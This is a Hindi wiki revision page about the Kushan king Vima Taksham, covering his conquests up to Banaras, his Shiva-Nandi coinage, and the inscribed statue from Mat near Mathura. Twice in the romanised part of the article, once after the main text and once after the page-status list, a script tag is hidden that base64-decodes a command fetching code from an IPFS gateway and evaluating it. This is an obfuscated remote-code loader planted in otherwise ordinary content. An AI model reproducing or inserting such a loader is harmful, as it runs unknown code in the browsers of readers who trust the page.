Difference between revisions of "विम तक्षम"

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'''ईसवी सन् (80–105) (Ancient Chinese: 阎膏珍 Yangaozhen )'''
 
'''ईसवी सन् (80–105) (Ancient Chinese: 阎膏珍 Yangaozhen )'''
  
विम तक्षम के उत्तराधिकारी [[विम कडफ़ाइसिस]] और [[कनिष्क]] प्रथम थे। विम तक्षम ने [[कुषाण]] साम्राज्य को [[भारत]] में उत्तर पश्चिम तक बढ़ा दिया। विम तक्षम लगभग 60 ई. से 105 ई. के समय में शासक हुआ होगा। विम बड़ा शक्तिशाली शासक था। अपने पिता [[कुजुल कडफाइसिस|कुजुल]] के द्वारा विजित राज्य के अतिरिक्त विम ने पूर्वी [[उत्तर प्रदेश]] तक अपने राज्य की सीमा स्थापित कर ली। विम ने राज्य की पूर्वी सीमा [[बनारस]] तक बढा ली। इस विस्तृत राज्य का प्रमुख केन्द्र मथुरा नगर बना। विम के बनाये सिक्के बनारस से लेकर पंजाब तक बहुत बड़ी मात्रा में मिले है। प्राप्त सिक्कों पर एक तरफ राजा की मूर्ति अंकित है तथा सिक्के के दूसरी तरफ एक नंदी बैल के साथ खड़े हुए शिव अंकित हैं [[सिंहली]] और [[खरोष्ठी लिपि]] में लेख भी मिलते हैं।<ref>'महरजस रजदिरजस सर्वलोग इशवरस महिश वरस विमकटफिशस ब्रदर'<br>'महरज रजदिरज हिमकपिशस<br>महरजस  रजदिरजस सर्वलोग इश् वर महिश् वर विमकठफिसस ब्रदर</ref>सिक्कों पर नंदी के साथ [[शिव]] की मूर्ति के बने होने और 'महिवरस' (माहेश्वरस्य) उपाधि होने से ज्ञात होता है कि यह राजा शिव का भक्त था। [[मथुरा ज़िला|मथुरा ज़िले]] में [[मांट गाँव]] के पास ही इटोकरी नामक टीले से [[विम की विशालकाय मूर्ति]] भी प्राप्त हुई है। [[चित्र:Vima Taktu-2.jpg|यहाँ 'विम तक्षम' का नाम अंग्रेज़ी में संग्रहालय की भूल से ग़लत लिखा है। देखें '[[राबाटक लेख]]'|thumb|250px|left]] इस मूर्ति का सिर खंडित है। सिंहासन पर बैठे हुए राजा ने लम्बा चोगा तथा सलवार की तरह का पायजामा पहना हुआ है। उसके हाथ में तलवार थी, जिसकी केवल मूंठ ही बची है, बाक़ी तलवार खंड़ित है। पैरो में फीते से कसे हुए जूते पहिने हुए है। उन के नीचे [[ब्राह्मी लिपी]] में लेख ख़ुदा हुआ है, यहाँ पर राजा का नाम तथा उसकी उपाधियों के विषय में इस प्रकार का विवरण है-'महाराज राजाधिराज देवपुत्र कुषाणपुत्र शाहि विम तक्षम<ref>इसमें प्रथम तीनों शब्द भारतीय उपाधियों के सूचक हैं । 'कुषाणपुत्र' वंश का परिचायक है, कुछ लोग इस शब्द से विम को 'कुषाण' नामक राजा (कुजुल) का पुत्र मानते हैं। 'शाहि' और 'तक्षम' शब्द ईरानी हैं, प्रथम का अर्थ 'शासक' तथा दूसरे का 'बलवान 'है।</ref> इस शिलालेख से पता चलता है कि विम ने अपने शासन के समय में एक मन्दिर<ref>'देवकुल' से मन्दिर का अभिप्राय लिया जाता है। पर यहाँ इसका अर्थ 'राजाओं का प्रतिमा कक्ष' है। कुषाणों में मृत राजा की मूर्ति बनवाकर 'देवकुल 'में रखने की प्रथा थी। इस प्रकार का एक देवकुल मांट के उक्त टीले में तथा दूसरा मथुरा नगर के उत्तर में गोकर्णेश्वरमन्दिर के पास विद्यमान था। दूसरी शती में सम्राट हुविष्क के शासनकाल में मांट वाले देवकुल की मरम्मत कराई गई।</ref>  [[उद्यान]], [[पुष्करिणी]] तथा [[कूप]] को भी निर्मित किया गया।  
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विम तक्षम के उत्तराधिकारी [[विम कडफ़ाइसिस]] और [[कनिष्क]] प्रथम थे। विम तक्षम ने [[कुषाण]] साम्राज्य को [[भारत]] में उत्तर पश्चिम तक बढ़ा दिया। विम तक्षम लगभग 60 ई. से 105 ई. के समय में शासक हुआ होगा। विम बड़ा शक्तिशाली शासक था। अपने पिता [[कुजुल कडफाइसिस|कुजुल]] के द्वारा विजित राज्य के अतिरिक्त विम ने पूर्वी [[उत्तर प्रदेश]] तक अपने राज्य की सीमा स्थापित कर ली। विम ने राज्य की पूर्वी सीमा [[बनारस]] तक बढा ली। इस विस्तृत राज्य का प्रमुख केन्द्र मथुरा नगर बना। विम के बनाये सिक्के बनारस से लेकर पंजाब तक बहुत बड़ी मात्रा में मिले है। प्राप्त सिक्कों पर एक तरफ राजा की मूर्ति अंकित है तथा सिक्के के दूसरी तरफ एक नंदी बैल के साथ खड़े हुए शिव अंकित हैं [[सिंहली]] और [[खरोष्ठी लिपि]] में लेख भी मिलते हैं।<ref>'महरजस रजदिरजस सर्वलोग इशवरस महिश वरस विमकटफिशस ब्रदर'<br>'महरज रजदिरज हिमकपिशस<br>महरजस  रजदिरजस सर्वलोग इश् वर महिश् वर विमकठफिसस ब्रदर</ref>सिक्कों पर नंदी के साथ [[शिव]] की मूर्ति के बने होने और 'महिवरस' (माहेश्वरस्य) उपाधि होने से ज्ञात होता है कि यह राजा शिव का भक्त था। [[मथुरा ज़िला|मथुरा ज़िले]] में [[मांट गाँव]] के पास ही इटोकरी नामक टीले से 'विम की विशालकाय मूर्ति' भी प्राप्त हुई है। [[चित्र:Vima Taktu-2.jpg|यहाँ 'विम तक्षम' का नाम अंग्रेज़ी में संग्रहालय की भूल से ग़लत लिखा है। देखें '[[राबाटक लेख]]'|thumb|250px|left]] इस मूर्ति का सिर खंडित है। सिंहासन पर बैठे हुए राजा ने लम्बा चोगा तथा सलवार की तरह का पायजामा पहना हुआ है। उसके हाथ में तलवार थी, जिसकी केवल मूंठ ही बची है, बाक़ी तलवार खंड़ित है। पैरो में फीते से कसे हुए जूते पहिने हुए है। उन के नीचे [[ब्राह्मी लिपी]] में लेख ख़ुदा हुआ है, यहाँ पर राजा का नाम तथा उसकी उपाधियों के विषय में इस प्रकार का विवरण है-'महाराज राजाधिराज देवपुत्र कुषाणपुत्र शाहि विम तक्षम<ref>इसमें प्रथम तीनों शब्द भारतीय उपाधियों के सूचक हैं । 'कुषाणपुत्र' वंश का परिचायक है, कुछ लोग इस शब्द से विम को 'कुषाण' नामक राजा (कुजुल) का पुत्र मानते हैं। 'शाहि' और 'तक्षम' शब्द ईरानी हैं, प्रथम का अर्थ 'शासक' तथा दूसरे का 'बलवान 'है।</ref> इस शिलालेख से पता चलता है कि विम ने अपने शासन के समय में एक मन्दिर<ref>'देवकुल' से मन्दिर का अभिप्राय लिया जाता है। पर यहाँ इसका अर्थ 'राजाओं का प्रतिमा कक्ष' है। कुषाणों में मृत राजा की मूर्ति बनवाकर 'देवकुल 'में रखने की प्रथा थी। इस प्रकार का एक देवकुल मांट के उक्त टीले में तथा दूसरा मथुरा नगर के उत्तर में गोकर्णेश्वरमन्दिर के पास विद्यमान था। दूसरी शती में सम्राट हुविष्क के शासनकाल में मांट वाले देवकुल की मरम्मत कराई गई।</ref>  उद्यान, पुष्करिणी तथा [[कूप]] को भी निर्मित किया गया।  
 
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Revision as of 06:10, 5 July 2013

[[chitr:Vima Taktu.jpg|vim taksham
Vima Taksham
rajakiy sangrahalay, mathura|thumb|200px]] vim taksham
eesavi sanh (80–105) (Ancient Chinese: 阎膏珍 Yangaozhen ) vim taksham ke uttaradhikari vim kadafaisis aur kanishk pratham the. vim taksham ne kushan samrajy ko bharat mean uttar pashchim tak badha diya. vim taksham lagabhag 60 ee. se 105 ee. ke samay mean shasak hua hoga. vim b da shaktishali shasak tha. apane pita kujul ke dvara vijit rajy ke atirikt vim ne poorvi uttar pradesh tak apane rajy ki sima sthapit kar li. vim ne rajy ki poorvi sima banaras tak badha li. is vistrit rajy ka pramukh kendr mathura nagar bana. vim ke banaye sikke banaras se lekar panjab tak bahut b di matra mean mile hai. prapt sikkoan par ek taraph raja ki moorti aankit hai tatha sikke ke doosari taraph ek nandi bail ke sath kh de hue shiv aankit haian sianhali aur kharoshthi lipi mean lekh bhi milate haian.[1]sikkoan par nandi ke sath shiv ki moorti ke bane hone aur 'mahivaras' (maheshvarasy) upadhi hone se jnat hota hai ki yah raja shiv ka bhakt tha. mathura zile mean maant gaanv ke pas hi itokari namak tile se 'vim ki vishalakay moorti' bhi prapt huee hai. [[chitr:Vima Taktu-2.jpg|yahaan 'vim taksham' ka nam aangrezi mean sangrahalay ki bhool se galat likha hai. dekhean 'rabatak lekh'|thumb|250px|left]] is moorti ka sir khandit hai. sianhasan par baithe hue raja ne lamba choga tatha salavar ki tarah ka payajama pahana hua hai. usake hath mean talavar thi, jisaki keval mooanth hi bachi hai, baqi talavar khan dit hai. pairo mean phite se kase hue joote pahine hue hai. un ke niche brahmi lipi mean lekh khuda hua hai, yahaan par raja ka nam tatha usaki upadhiyoan ke vishay mean is prakar ka vivaran hai-'maharaj rajadhiraj devaputr kushanaputr shahi vim taksham[2] is shilalekh se pata chalata hai ki vim ne apane shasan ke samay mean ek mandir[3] udyan, pushkarini tatha koop ko bhi nirmit kiya gaya. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vithika


tika tippani aur sandarbh

  1. 'maharajas rajadirajas sarvalog ishavaras mahish varas vimakataphishas bradar'
    'maharaj rajadiraj himakapishas
    maharajas rajadirajas sarvalog ishh var mahishh var vimakathaphisas bradar
  2. isamean pratham tinoan shabd bharatiy upadhiyoan ke soochak haian . 'kushanaputr' vansh ka parichayak hai, kuchh log is shabd se vim ko 'kushan' namak raja (kujul) ka putr manate haian. 'shahi' aur 'taksham' shabd eerani haian, pratham ka arth 'shasak' tatha doosare ka 'balavan 'hai.
  3. 'devakul' se mandir ka abhipray liya jata hai. par yahaan isaka arth 'rajaoan ka pratima kaksh' hai. kushanoan mean mrit raja ki moorti banavakar 'devakul 'mean rakhane ki pratha thi. is prakar ka ek devakul maant ke ukt tile mean tatha doosara mathura nagar ke uttar mean gokarneshvaramandir ke pas vidyaman tha. doosari shati mean samrat huvishk ke shasanakal mean maant vale devakul ki marammat karaee gee.

bahari k diyaan

sanbandhit lekh